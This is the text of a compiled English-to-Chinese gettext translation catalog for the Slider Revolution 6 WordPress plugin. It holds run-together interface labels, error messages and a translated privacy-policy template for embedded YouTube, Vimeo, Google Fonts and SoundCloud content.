SettingsSlider StoppedSlider Timer keep goingSlider Timer pausedSlider as ModalSlider could not be loadedSlider is Playing after pauseSlider not foundSlider pausedSlider reached the 'stop at' slideSlider swapped to an other slideSlidesSlides (<25)Slides (<500)Slides (<60)Slides default EnabledSlides:SlideshowSlot AmountSlugSmallSmall 320SmartSocialSocial Basics (Flickr, Instagram, Twitter, Facebook, YouTube)SolidSome AddOns have new versions availableSome Layers are Locked and/or Invisible.
            Change Status in Timeline.Some Settings in Slider Source may not complete.
            Please Complete All Settings in Slider Sources.Sorry, this Social Stream cannot be displayed.Sort DirectionSort Posts By:Sort Prod. BySort by CreationSort by TitleSorting & LimitationsSorting & SettingsSourceSource SizeSource TypeSource must be from StreamSource:SpacingsSpanSpecific PostSpecific PostsSpeedSpike MasksSpike WidthSpinnerSpinner ColorSpinner SettingsSplit CharsSplit LinesSplit WordsSquareStandardStandard Module EmbeddingStandard ResolutionStar RatingStartStart EarlierStart FrameStart GuideStart MediaStart SliderStaticStatic LayerStay in EdiorStock QuantityStop MediaStop Other MediaStop Slider ProgressStop after N LoopsStop on HoverStretchStretch SlidesStroke ColorStyleStyle GlobalStyle on SlideSuccess! Please check your E-Mails to finish the subscriptionSuccessfully fetched Facebook albumsSuccessfully fetched YouTube playlistsSuccessfully fetched flickr photosetsSupportSwipe DirSwipe SettingsSwitch slider to next slide.Switch slider to previous slide.Switch to the slide which is defined as parameter.Sytem RequirementsTabIndexTabletTabsTabs StyleTabs TypeTabs VisibilityTag1, Tag2, Tag3TagsTags & LinkTags UpdatedTargetTarget LayerTemplate & Object LibraryTemplate Slider Import FailedTemplate Slider Installation FailedTextText AlignText ColorText RatingText ShadowText TweetsText/Button Layer ContentThe Current Size is set to "Auto Size". Do you want to continue with Custom Size?The Current Size is set to calculate the Layer grid sizes Automatically.
            Do you want to continue with Custom Sizes or do you want to keep the Automatically generated sizes ?The Purchase Code needs to be set!The WPML plugin is not activatedThe changes you made require a page reload!The changes you made will be lost!The following AddOns require an update:The link to the postThe “Vimeo Stream” content source is used to display a full stream of videos from a user/album/group/channel.
            If you want to display a single vimeo video, please select the content source “Default Slider” and add a video layer in the slide editor.The “YouTube Stream” content source is used to display a full stream of videos from a channel/playlist.
            If you want to display a single youtube video, please select the content source “Default Slider” and add a video layer in the slide editor.ThemePunchThemePunch ServerThis Guide will help you with the basic configuration *
            of your Slider Revolution 6 Module.This MonthThis Source Type must be from posts.This action can not be undone !!This can be Undone only within the Current session.Three SpikesThumb TypeThumbnailThumbsThumbs StyleThumbs VisibilityTimeLineTimelineTimeline Scroll BasedTimelines Scroll basedTimer PausedTimer ResumedTitleTitle DescendingTitle updatedToTo AdminTo Editor, AdminTo SlideTo Use it as Modal on pages and posts editor insert the Shortcode:To add the slider only to single Pages, use:To add the slider only to the homepage, use:TodayToggleToggle "N/M" FramesToggle 1st / Last FrameToggle ClassToggle Document Body Class on Open and Close of the Modal.Toggle FullscreenToggle MediaToggle Mute All MediaToggle Mute MediaToggle SliderToggle Start StateToggled (Visible)Toggled in Hover StyleTomorrowTopTouchTransform IdleTransitionsTransparentTrigger MemoryTriggered ByTriggered byTwitterTwitter @Twitter ExtrasTwitter SettingsTwo SpikesTypeTypesTypes & CategoriesURLUSUSAUnbind all listeners, remove current animations and delete containers. Ready for Garbage collection.Under MaskUnderlineUnlock AllUnmute MediaUnpublishedUnregisteredUnselectableUnsortedUntoggled (Hidden)Up/Down Arrow KeysUpdate AllUpdate HistoryUpdate LaterUpdate ListUpdate NowUpdate PluginUpdate RowUpdatesUpdates, New Products, SpotlightsUpdatingUpdating ListsUpdating Plugin FailedUpdating Plugin...Updating the Plugin may take a few moments.Upload Max. Filesize (256M)Upload folder writableUppercaseUse Clip PathUse CoverUse Custom SizesUse Default on...Use Full Screen or Full Width Layout to Use Fixed Scroll.Use ImageUse LineBreaks only in ColumnsUse MaskingUse Slide LoopUse ToggleUse WPML SettingsUserUser Name:User PhotosetUser Public PhotosUser URL:UsernameUsing this data is only allowed with a valid licence of the jQuery Slider Revolution Plugin, which can be found at CodeCanyon: http://codecanyon.net/item/slider-revolution-responsive-jquery-plugin/2580848?ref=themepunchVIDEOVelocityVerticalVertical AlignVideoVideo APIVideo IDVideo SettingsVideo cover could not be loadedVideo from Stream if existVideo from Stream if existsVideo in Active SlideVideo is playingVideo is playing in sliderVideo is stoppedVideo stopped in sliderVideosView all posts in %sViewPort StopViewsVimeoVimeo ExtrasVimeo IDVimeo SettingsVimeo ThumbVimeo VideoVisibilityVisibleVisible amountVisible in NavigationVisit PageWAITWC Category1, WC Category2WC Tag 1, WC Tag 2, WC Tag 3WEBMWPMLWaitWait for APIWait for ActionWarningWelcome to Slider Revolution 6What should happen Next?Whats New?Where do you want to move the Inherited Layers?Width Attrib.Width BasedWooCommerceWooCommerce BasicsWooCommerce PricesWooCommerce RatingsWooCommerce StockWordWordPress LibraryWordpress Multi LanguageWrapperWrapper ClassesWrapper ContainerWrapper IDWrapper Max HeightWrapping TagWrong RequestWrong category formatWrong export slider file format! Please make sure that the uploaded file is either a zip file with a correct slider_export.txt in the root of it or an valid slider_export.txt file.Wrong request!X% Y%Yes, Delete All Slider(s)Yes, Delete SlideYes, Delete SliderYes, Export SliderYou are running Slider Revolution YouTubeYouTube ExtrasYouTube IDYouTube PosterYouTube SettingsYouTube ThumbYouTube VideoYoutubeYoyoZ PositionZoom InZoom Out_blank_parent_self_topand/or add the current page to the as HTML Documentautoby Containerby PX or %center bottomcenter centercenter topclass Name to Togglecoma separated list | ex: 23,24,25could not find correct Slide to copy, please try again.enter-a-module-namefromhttp://yoursite.com/addtocart.phphttp://yoursite.com/homehttp://yoursite.com/pagehttp://yoursite.com/posthttp://yoursite/media/avatar.jpghttp://yoursite/user/pagehttp://yoursite/user/posthttps://revolution.themepunch.com/https://themepunch.com/i.e. 0:15i.e. 1200i.e. 2:41ie. http://fonts.useso.com/css?family for chinese Environmentin the "Global Settings" of Slider Revolution.jQuery & OutPut FiltersjQuery No Conflict ModejQuery TriggeredjavaScript Functionleft bottomleft centerleft topnoneon Actionorright bottomright centerright topslider_export.txt does not exist!tox1.5x2xxxx xxxx xxxx xxxxyoutube, vimeo, html5zIndexProject-Id-Version: Slider Revolution Report-Msgid-Bugs-To: POT-Creation-Date: 2019-06-28 07:35+0000 PO-Revision-Date: 2019-07-05 07:57+0000 Last-Translator: admin Language-Team: Chinese (China) Language: zh_CN Plural-Forms: nplurals=2; plural=n != 1; MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Poedit-SourceCharset: UTF-8 X-Poedit-Basepath: . X-Poedit-KeywordsList: __;_e;_:1;gettext:1;dgettext:2;ngettext:1,2;dngettext:2,3;__:1;_e:1;_c:1;_n:1,2;_n_noop:1,2;_nc:1,2;__ngettext:1,2;__ngettext_noop:1,2;_x:1,2c;_ex:1,2c;_nx:1,2,4c;_nx_noop:1,2,3c;_n_js:1,2;_nx_js:1,2,3c;esc_attr__:1;esc_html__:1;esc_attr_e:1;esc_html_e:1;esc_attr_x:1,2c;esc_html_x:1,2c;comments_number_link:2,3;t:1;st:1;trans:1;transChoice:1,2 X-Loco-Target-Locale: en_US X-Generator: Loco https://localise.biz/ X-Loco-Version: 2.2.2; wp-5.2.2 X-Poedit-SearchPath-0: .. 未找到!应该是数字不应该是空的"Alt" Attr.“全局包含RevSlider库”“M”等待行动“N”等待行动“包含RevSlider库的页面”选项"Title" Attr.#$9.99©版权和许可证信息<a> Tag Link<h1><h2><h3><h4><h5><h6><p><rs-layer><span>(x%, y%)*以后可以更改指南调整的所有设置。
            单击帮助图标以查找选项和文档---选择滑块---04.03.201805.03.201808.03.20181每个网站的购买代码1每个网站购买代码!1 Spike Bottom1 Spike Middle1 Spike Top1.1.85:11/21/410.11.1212.12412491313.14.14.09.201914:0015.16:917.09.2019178618.08.201819198241on1支持第一帧2 x 2黑色2 x 2白色2.2.39:12021221:00243 x 3黑色3 x 3白色3.321383D Crop Fix (z)3D 效果已启用3D设置4.457819474:355.6.7.8.99.9.99

            如果您在Slider Revolution中使用Google网络字体(默认)或通过YouTube或Vimeo播放视频或声音,我们建议您向隐私警察添加相应的文字短语: n t t

            YouTube

            我们的网站使用YouTube运营的插件,该插件由Google运营。这些网页的运营商是YouTube LLC,901 Cherry Ave.,San Bruno,CA 94066,USA。

            如果您访问我们的某个YouTube插件页面,则会建立与YouTube服务器的连接。在这里,YouTube服务器会被告知您访问过我们的哪些页面。

            如果您已登录自己的YouTube帐户,则YouTube允许您将浏览行为直接与您的个人资料相关联。您可以通过退出YouTube帐户来阻止此操作。

            YouTube用于帮助我们的网站吸引人。根据Art,这构成了合理的利益。 6(1)(f)DSGVO。

            有关处理用户数据的更多信息,请参阅YouTube的数据保护声明 https://www.google.de/intl/de/policies/privacy n t t < h3> Vimeo

            我们的网站使用Vimeo视频门户提供的功能。此服务由Vimeo Inc.,555 West 18th Street,New York,New York 10011,USA提供。

            如果您访问我们的一个带有Vimeo插件的页面,则建立与Vimeo服务器的连接。在这里,Vimeo服务器会被告知您访问过我们的哪些页面。此外,Vimeo将收到您的IP地址。如果您在访问我们的插件时没有登录到Vimeo或没有Vimeo帐户,这也适用。该信息将传输到美国的Vimeo服务器,并存储在该服务器中。

            如果您已登录Vimeo帐户,Vimeo允许您将浏览行为直接与您的个人资料相关联。您可以通过注销Vimeo帐户来防止这种情况。

            有关如何处理用户数据的更多信息,请参阅 https://vimeo.com/privacy n t t

            Google网络字体

            统一的字体表示,此页面使用Google提供的网络字体。当您打开页面时,浏览器会将所需的Web字体加载到浏览器缓存中以正确显示文本和字体。

            为此,您的浏览器必须建立与Google服务器的直接连接。因此,Google意识到我们的网页是通过您的IP地址访问的。使用Google Web字体是为了使我们的插件具有统一且有吸引力的呈现方式。根据Art,这构成了合理的利益。 6(1)(f)DSGVO。

            如果您的浏览器不支持Web字体,您的计算机将使用标准字体。

            有关处理用户数据的更多信息,可以是可在 https://developers.google.com/fonts/faq 上找到Google的隐私政策,请访问 https://www.google.com/policies/privacy/ n t t

            SoundCloud

            在我们的网页上,SoundCloud社交网络的插件(SoundCloud Limited,Berners House,47-48 Berners Street,London W1T 3NF ,英国)可能是整合的。我们网站上的SoundCloud徽标可以识别SoundCloud插件。 n t t t

            当您访问我们的网站时,您的浏览器和SoundCloud服务器之间的直接连接是通过插件建立的。这使SoundCloud能够从您的IP地址接收您访问过我们网站的信息。如果在登录SoundCloud帐户时单击“赞”或“共享”按钮,则可以将页面内容链接到SoundCloud配置文件。这意味着SoundCloud可以将访问我们的网页与您的用户帐户相关联。我们想指出的是,作为这些页面的提供者,我们不了解传输的数据内容或SoundCloud将如何使用它们。有关SoundCloud隐私政策的更多信息,请访问https://soundcloud.com/pages/privacy.

            如果您不希望SoundCloud将您对我们网站的访问与您的SoundCloud帐户相关联,请登录超出您的SoundCloud帐户。已存在具有给定别名的滑块新版本 Slider Revolution 是可用的API KeyAPP IDAPP Secret访问秘密访问令牌动作延迟需要采取行动行动类型操作启用 Add-On启用 Global Add-On激活许可证启用 Slider Revolution 对于 优惠(eg. 实时更新).激活更新活性激活 Add-On激活主动过渡订单添加动作新增文件夹添加图层加 LineBreak 后加 LineBreak 之前添新 Meta添加新导航加 Slide(s)加 Slider 如弹出添加到购物车添加转换添加到购物车按钮添加到购物车 URL添加到选择Add-OnAdd-OnsAddOn 无法激活AddOn 无法停用AddOn 停用AddOnsAddOns 过时了。请更新AddOns 需要注意添加新的空白模块......额外Addon 需要Addons管理员拇指高级样式高级高级操作高级模块嵌入高级设置高级媒体设置行动之后专辑别号对准对齐对齐通过所有所有活动所有语言所有图层允许全屏备用图片金额 Slides导入时出错动画来自动画到动画来自动画到“开始”在循环中动画动画持续时间动画持续时间以毫秒为单位动画轻松动画模板动画视图动画无法保存动画已删除动画保存任何习俗 meta tag你确定你要继续吗?你确定你要删除你确定你要删除选中的Slide:您确定要导出吗?参数箭头样式箭头类型箭头如弹出上升宽高比附上BG属性音频音频波库正在加载......作者作者阿凡达 URL(大小 px)作者帖子页面作者网站作者姓名作者,编辑,管理员汽车自动播放自动旋转自动旋转幻灯片可用版本BG&SpaceBG 3D深度BG颜色BG过滤器BG 适合BG图像BG速度BG在框架中背部回到概述背景背景颜色背景悬停背景视频向后错误的请求基本基本的Metas基本变换基本Bearer Token很好,请检查您的查询行为层背后(背面)空白页面已创建已创建空白页:空白幻灯片混合模式块块颜色阻止滚动阻止底部阻止到左边阻止到右边阻止顶部模糊身体类边界边框颜色边境悬停边框风格边框,覆盖 & 阴影都底部盒子阴影休息时间浏览器宽度浏览器行为建立选择框批量幻灯片子弹子弹风格子弹类型子弹可见性按键纽扣通过压缩输出通过回声输出CSSCSS / JS编辑器习惯 CSS习惯 JS高速缓存 (第二)高速缓存 (第二):打回来调用此函数暂停 slider。调用此函数来播放 slider 如果它被暂停。将此功能称为 slider。不能为空无法在编辑器中呈现。请在前端预览。无法以编程方式连接到ThemePunch服务器,请检查您的网络服务器设置无法创建zip文件:无法删除默认预设的默认导航无法获得持有人令牌,请检查您的凭据无法修改默认预设的默认导航无法写入WordPress的uploads文件夹,请更改权限再试一次!无法将文件写入WordPress的uploads文件夹,请更改权限再试一次!取消取消并稍后重新加载大写Caraousel圆盘传送带轮播布局分类分类和标签分类:Category1,Category2,Category3CenterCenter - Left RightCenter - Right LeftCenter Diagonal您所做的更改可能无法保存。改变屏幕尺寸渠道频道IDChar检查要求检查更新选择图像选择Revolution Slider选择 Slide 模板选择 Slider选择视频圈ClassClass to ToggleClasses明确清除相册清除照片点击点击选择关关 Slider 弹出颜色框架中的颜色有色列设置列未来 Slide 如 jQuery 对象音乐会与连接 ThemePunch与更新服务器的连接失败消费者。秘密消费者密钥内容基于内容基于内容和宽度控制复制复制嵌入代码复制短代码版权和许可 - Slider Revolution Library角落无法创建幻灯片无法创建Slider无法获取Facebook专辑无法获取YouTube播放列表无法获取flickr照片覆盖封面颜色创建空白页面创造升序积分当前

          • 指数当前水平现职当前 Slide当前 Slide 如 jQuery 对象光标弯曲习惯习惯“Alt ”习惯“标题”习惯 CSS自定义内联和悬停CSS习惯 Meta习惯顺序习惯尺寸习惯尺寸目前已停用习惯 CSS定制虚线日期修改日期发布日期创建日期修改日期调试模式决策模式标题降低模块高度默认默认(全局设置)默认基础知识默认桌面内容宽度默认移动内容宽度默认新图层设置默认笔记本内容宽度默认设置图层的默认设置默认平板电脑内容宽度默认推迟 JavaScript 载入中删除删除所有 Sliders 和文件夹包括在内删除 Slide删除 Slider删除模板?删除 Slider删除失败已删除的功能!
            仅可通过渲染查看。对样式图层的影响有限。习惯CSS 内联将在版本中删除 6.2深渊取消注册此代码撤销注册失败!降序描述桌面桌面滑动已启用对角线DIFF。动画尺寸方向禁用禁用 Add-On禁用 模糊/焦点行为.禁用全局加载项禁用Ken Burns禁用手机禁用Slider禁用手机残禁用 - 基于时间禁用Add-On关闭消息显示列中的显示模式显示用户的某个照片集显示图库显示群组的照片显示用户的公开照片在页面上显示滑块旋转模块做吧您想要启动更新过程吗?文件完成不要这样做不要强制全宽带点双下载Zip文件可能需要一些时间。拖放导入文件拖动到选择Dribbble重复复制失败持续时间动态视口加载EQH-1879EX 87 TNT缓解速度缓解East 32th Street between Park & Lexington Avn 边缘到中间编辑页面编辑观点编辑正在加载......影响效果分子嵌空占位符启用 Add-On启用全球 Add-On启用循环效果启用峰值启用时间轴循环启用/禁用 Add-On 在模块上启用已启用 - 基于滚动启用Add-On结束结束帧输入Access Secret输入访问令牌输入相册ID输入Api Key输入频道名称输入消费者密钥输入Container .class或#id输入外部URL输入FaceBook页面URL进入全屏输入图库URL输入组名称输入组URL输入图片网址输入链接输入MPEG Source输入预设名称以保存或删除输入购买代码输入秘密输入Twitter名称输入用户名输入用户URL输入视频ID输入Vimeo ID输入YouTube频道ID输入YouTube ID输入模块名称输入App ID输入App Secret输入您的Api密钥输入你的电子邮箱下载图层时出错下载图层数据时出错下载对象时出错事件基础活动结束日期活动ID活动地点活动开始日期活动结束日期活动结束时间活动地址活动地点国家活动地点名称活动地点邮政编码活动地点区域活动地点slu ..事件位置状态活动地点镇活动开始日期活动开始时间活动例2,主页,5超出文件大小限制。摘抄Excerpt ipsum dolor sit amet, consetetur sadipscing elitr sed diam nonumy.退出全屏出口导出Slider外部图像外部滚动FAQ's夹字形免费定位层FaceBook设置FacebookFacebook Extras因素 BG's层上因素工厂皮肤褪色淡入淡出设置移动失败Slider进入文件夹 无法更新标签无法更新标题后备设置最喜欢的改变最爱的伯爵最爱特色图片仅限精选特色产品获取文件成功导入文件名过滤滤镜效果滚动滤镜效果滚动现在通常已启用过滤悬停过滤器找到我的代码查找有关YouTube API密钥的信息此处完成幻灯片更改第一张幻灯片五尖刺修复RS表问题在滚动期间修复固定在顶部FlickrFlickr ExtrasFlickr设置浮动夹文件夹创建失败文件夹已删除文件夹删除失败跟随关注链接字形字体和图标字体系列字体悬停风格字体图标对于页面和帖子编辑器插入短代码:对于主题html ,请使用:强制覆盖模式强制延迟加载强制溢出可见强制准备强制RS DB创建向前四个尖刺帧别名框架M.帧N.帧大小无法扩展。没有足够的空位。框架等待动作从从底部从左边开始来自右边从Slider 设置 来自Stream从顶部从小部件面板将“Revolution Module ”小部件拖到所需的侧边栏。面前全高全价全屏宽度全屏全屏宽度全屏操作功能功能在演示模式下不可用功能仅适用于管理员未来画廊图库URL间隙差距(边界)一般常规设置获取购买代码从中获取最新消息ThemePunch。我们承诺永远不会向您发送垃圾邮件!获取滑块中现有幻灯片的数量。获取当前关注的幻灯片索引。获取之前播放的幻灯片。全球全局图层设置全局图层全局图层时间轴全局设置全局设置未保存/更新全局设置已保存/更新全局样式预设全球价值!在滑块设置 - 视差选项卡下查找的选项全局去 Slide去Slide同ID转到第一帧转到编辑去框架 “N ”转到最后一帧GoTo框架下午好晚上好早上好谷歌字体灰度网格=模块组组URL团体照片HML5视频HTMLHTML DataHTML TagHTML5自动播放HTML5视频处理处理标题高度高度属性隐隐藏在导航中隐藏“在”宽度下隐藏突出显示框隐藏隐藏下在浏览器宽度下隐藏...层次结构粘滞高更高层次仅限主页横徘徊悬停变换悬停视图我有购买代码图标IDID 元素图片在图标图标/ SVG闲如果你想在另一个领域使用Slider Revolution,请购买另一个许可证如果您想在代码中使用PHP函数“add_revslider ”,请确保激活如果您想在另一个域上使用您的购买代码,请先取消注册或忽略延迟加载图片图像层内容图片网址如果存在,来自Stream的图像如果存在,来自Stream的图像图片正在加载......图片导入图层导入报告导入所选图层找不到导入文件进口导入图层...有现货仅限库存全局包括库当前幻灯片的索引无限滚动继承初始化延迟内联模式inline-block的内内/外在Footer中插入脚本InstagramInstagram设置Instagram报道:内容与预期不符Instagram报道:内容是私密的Instagram报道:解析脚本错误Instagram Extras安装安装Add-On安装模板安装模板包安装已安装的版本安装Add-On安装模板即时更新智能继承相互作用不合规电邮无效的电子邮件/无法连接到新闻稿服务器ID无效反向切换内容反转水平反转垂直反转约翰·多伊跳到Slide保持自动大小保持断点高度保持最后状态肯伯恩斯Ken Burns / Pan Zoom键盘键盘箭头导航键盘设置关键帧关键帧#关键帧杀 Slider图层大大型控制大广场最后一帧最后修改持续Slide最后一张幻灯片开始,Slider就在最后上一张幻灯片开始层图层动作(输入,进入舞台,离开舞台,离开舞台)图层操作图层对齐图层区域图层区域大小图层容器图层事件图层ID图层导入图层库图层循环动画层循环效果图层对象图层选项图层时间轴循环图层类型(图像,视频,html)图层为jQuery对象图层是全局的图层选项层与行动图层图层导入图层溢出隐藏图层速度图层可见图层是可选择的图层默认为已启用布局延迟加载离开时不保存离开现在剩下左箭头左下角左角左穗左上方左/右箭头键减水平许可证验证问题已发布。请联系我们的支持。限制摘录线越线行通Link&Seo链接操作链接目标链接类型链接URL链接到幻灯片链接到WP主页链接到当前页面包含Revslider库的页面列表带链接的类别列表没有链接的类别列表带链接的标签列表加载加载循环模板已加载的Google字体载入中加载CodeMirror库...加载配置正在加载内容加载错误加载错误:正在加载缩略图...装载类型锁定/解锁已选中锁定/解锁已选中环循环所有图层时间轴循环金额循环层循环图层循环媒体 - 不要停顿Slide循环媒体 - 暂停Slide循环模式循环一幻灯片循环模板Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt.Los Angeles低解析度小写MODULEMPEG主要风格手动导入标记的图层标记标记元面具最大模糊力量Max PostsMax Slides最大宽度最大。邮政大小(256M)最大。 RES。最大。可见媒体行动媒体内容媒体库媒体海报媒体量(0-100)介质中等640中等800内存限制(256M)MetaMeta ConfigMeta DataMeta DatasMeta ValuesMethods中间中到边缘最小高度闵。手指移动移动设置移动滑动已启用模块.zip模块管理员缩略图模块背景模块类模块创建指南模块默认值模块尺寸模块尺寸模块固定模块固定直到模块常规选项模块ID模块命名包装器中的模块位置模块模板模块类型模块等宽字体更多老鼠鼠标输入鼠标输入点鼠标互动鼠标离开鼠标移动鼠标移动和滚动鼠标滚动导航鼠标滚动设置鼠标速度移动多重选择音乐厅静音媒体开始时静音导航编辑器导航图像尺寸Navig。拇指导航编辑器导航选项导航风格导航无法删除找不到导航,无法添加预设找不到导航,无法删除预设导航预设已删除导航预设已保存/更新需要注意的是删除新的空白模块新建文件夹模板中的新模块新版本可用。请更新新窗户新闻下一个/上一个下一帧下个月下一个Slide下一个Slide在结束下一步关于Browser Focus的下一个没有API KEY - 无法获取flickr照片集没有选择行动没有角落未收到数据没有电子邮件没有关注没有互动没有选择图层没有延迟加载没有循环手机上没有海报没影子没有Sliders发现,首先请创建一个Slider 没有特效没有尖峰没有粘性关键帧没有风格没有用户URL - 无法获取flickr照片集未收到数据没有发送文件。无需进一步的源设置。内容是手动创建的。没有可供您当前选择的选项。对行动没有回应没有Sliders发现,请至少添加一个Slide选择语言的模板。。没有Sliders发现,请加一些 slides没有没有任何设置更改。没有什么可以节省的正常未激活帧之间没有足够的空间。未安装笔记本没有选择评论数量销售数量评论数量喜欢的数量评分数量评论数量观看次数评论数量宾语OGVOUT对象库无法加载对象对象Off偏移(倾斜)效果偏移到滚动位置OnOn - Skip 1st Time Slide在启用背景上在IE8上在移动在移动和IE8上在滚动在滚动详细信息上可以在“常规选项”中为每个滑块添加“滚动”在舞台上只有第一次Slide显示只有手动&lt; br /&gt;只有移动海报Ooppps ....打开文档打开弹出打开Slide打开Slider弹出开盘选项已被删除,将在即将发布的更新中删除!可选的字体加载URL可选的OGV来源可选的WEBM源橙色国家取向起源原版的原始尺寸其他1.Slide其他文件夹外水平外垂直输出滤波器在图层上(正面)溢出覆盖上划线覆盖样式Slide覆盖模板?自己的模块包包页面URL页面正在重新加载......页面(例如:2,10):平移缩放设置视差视差和3D视差和3D设置视差已启用视差水平原版的Parallax。Parallax现在通常已启用参数1参数10参数2参数3参数4参数5参数6参数7参数8参数9参数Params家长级别过去糊暂停暂停Slider每页允许Photoset选择一个项目将短代码放在页面上或发布您要显示此模式的位置。将短代码放在要显示此模块的页面或帖子上。占位符玩Slide播放列表请使用Twitter
            注册您的应用程序,以获得正确的价值请使用Facebook
            注册您的网站应用,以获得正确的价值请稍等片刻请稍等片刻请耐心等待...请激活Slider Revolution请添加至少一个图层。请点击此链接进行编辑Slider:请选择一个Addon开头。请选择正确的zip文件,校验和失败!插件更新插件已取消注册插件未注册插件未激活插件已成功激活指针事件流行热门帖子位置位置和大小岗位发布别名基础知识发布类别,标签和评论发布内容发布详情摘录后摘录发布ID选择后帖子标题发布类型:发布内容通过字符发布内容限制通过单词发布内容限制Post-Based海报图片如果存在,来自Stream的海报暂停海报帖子预载准备好了slide更改准备数据......预置无法保存预设/值是相同的预设手柄已存在,请选择其他名称预设未找到默认导航中未找到预设预置上一个尺寸以前Slide如jQuery对象预习预览图片以前帧以前Slide以前Slide如jQuery对象 前一步加工进口产品产品类别产品变化进展进度条发布规则发布发布时间购买代码已经注册!购买代码无法验证购买代码无效购买代码已被锁定,请联系ThemePunch支持!把JS放到Body身上快速风格快速风格内容快速风格标题退出指南RTL方向随机随机顺序在线重新下载锐推阅读此处如何接收您的Flickr API密钥重新计算滑块中的所有位置,大小等。这应该被调用,即如果Slider是不可见的并且在没有任何窗口调整大小事件的情况下变得可见。最近最近的帖子长方形重定向到概述页面重绘Slider刷新源注册购买代码寄存器Slider Revolution
            解锁高级功能注册此代码注册解锁注册以解锁所有功能注册以解锁AddOns注册解锁图书馆注册以解锁高级功能注册以解锁支持注册以解锁模板注册以解锁更新注册以解锁所有高级功能注册定期正常价格相对有关发布到上传文件重新加载页面去掉删除一个Slide同Slide索引来自Slider 。索引从0开始,将删除第一个slide。删除海报去掉Slide改名重复回复要求重启重置儿童时间表重置儿童时间表重置样式在每个循环之前重置在设备之间调整大小尊重比率响应度响应行为设备之间的响应反应迅速的孩子响应抵消响应度限制!
            子组,列和行的子层将只是重新启动,没有动画从最后一个循环帧到第一个循环帧,独立于启用循环选项中的Animate到“start”。恢复Slider转推计数相反反转“IN”反向滚动Revolution Slider 6Revolution Slider错误:在开始时回放对右箭头右下角右上角右尖刺右上角根根级别旋转回转行行位置行设置SFXSKUSVGSVG颜色SVG悬停风格SVG的销售价格同一个窗口Sans-Serif字体保存保存并重新加载保存配置保存当前模板保存全局设置保存导航保存您的项目并重新加载页面或取消保存保存Slide规模现场基于滚动的功能现在,基于滚动的时间轴通常已启用滚动效果滚动效果默认值滚动效果设置滚动偏移滚动位置滚动到ID基于滚动的效果滚动如下Slider滚动页面下slider。滚动到ID搜索搜索图标...搜索模块......了解如何查找Youtube频道ID 此处选择选择/编辑Slider选择相册选择播放列表选择一个图层可选感性Serif字体设置全部可见设置一个Slide背景图像使用此功能设置所有计时设置为编辑器视图设置设置说明阴影阴影颜色阴影类型阴影形状形状图层内容锐角扩展短代码短代码生成器无法解析短代码。短代码解析成功。项目可在第3步中找到节目显示所有显示始终显示延迟显示突出显示框显示上次编辑Slide显示速度显示所有模块显示鼠标悬停Slider在编辑器中显示显示/隐藏选定的注册注册我们的时事通讯简单链接在IOS4 / IE8上简化模拟单击单单层粘性单一价格单一价格没有货币单选尺寸尺寸和位置大小预设浆纱跳过预加载Slide 操作Slide 动画Slide 背景动画Slide 描述Slide 基于方向的镜像Slide 持续时间Slide来自模板Slide HTML TagsSlide IDSlide 语言Slide 长度Slide 链接Slide 选项Slide保存Slide 标题Slide 无法复制Slide 重复失败Slide 没有图层Slide 未找到Slide 主要没找到slides的slider 。也许吧SliderSlider 交换后Slider 在交换之前Slider 中央Slider 删除Slider 导入失败Slider 布局Slider 加载Slider 已移至文件夹Slider 溢出隐藏Slider RevolutionSlider Revolution - Premium responsive sliderSlider Revolution AddonsSlider Revolution插件更新失败:Slider Revolution插件已成功更新Slider Revolution插件已成功更新。Slider Revolution预习Slider Revolution Shortcode CreatorSlider Revolution 版Slider Revolution数据库结构已更新Slider Revolution遇到以下错误:Slider Revolution:Slider 设置Slider 停止Slider定时器继续Slider 定时器暂停Slider 弹出Slider 无法加载Slider 暂停后播放Slider 未找到Slider 暂停Slider 达到'停在'slideSlider 交换到另一个slideSlidesSlides(<25)Slides (<500)Slides (<60)Slides 默认启用Slides:幻灯片槽金额金属块小小320聪明社会社交基础知识(Flickr,Instagram,Twitter,Facebook,YouTube)固体一些AddOns有新版本可用某些图层已锁定和/或不可见
            更改时间轴中的状态。一些设置Slider 来源可能无法完成
            请完成滑块源中的所有设置。抱歉,无法显示此社交流。排序方向排序帖子:分类产品。通过按创建排序按标题排序排序和限制排序和设置资源来源大小来源类型来源必须来自Stream资源:间距跨度具体帖子具体帖子速度穗状面具尖峰宽度微调旋转器颜色微调器设置拆分字符分裂线分裂的话广场标准标准模块嵌入标准分辨率星级开始早点开始开始帧入门指南启动媒体开始Slider静态的静态层留在Edior库存数量停止媒体停止其他媒体停止滑块进度N循环后停止停在悬停上伸展伸展Slides中风颜色样式风格全球风格上Slide成功!请检查您的电子邮件以完成订阅成功获取Facebook专辑已成功获取YouTube播放列表成功获取了flickr照片支持滑动目录滑动设置开关slider到下一个slide 。开关slider到以前slide 。切换到slide它被定义为参数。系统要求的TabIndex片剂标签标签样式标签类型标签可见性Tag1,Tag2,Tag3标签Tags & Link标签已更新目标目标层模板和对象库模板Slider 导入失败模板Slider 安装失败文本文字对齐文字颜色文字评分文字阴影文字推文文本/按钮层内容“当前大小”设置为“自动大小”。要继续使用自定义尺寸吗?“当前大小”设置为自动计算“图层”网格大小。
            是否要继续使用“自定义大小”或者是否要保留“自动生成的大小”?购买代码需要设置!WPML插件未激活您所做的更改需要重新加载页面!你所做的改变将会丢失!以下AddOns需要更新:帖子的链接“Vimeo Stream”内容源用于显示来自用户/相册/群组/频道的完整视频流。
            如果要显示单个vimeo视频,请选择内容源“默认Slider”并添加幻灯片编辑器中的视频图层。“YouTube Stream”内容源用于显示来自频道/播放列表的完整视频流。
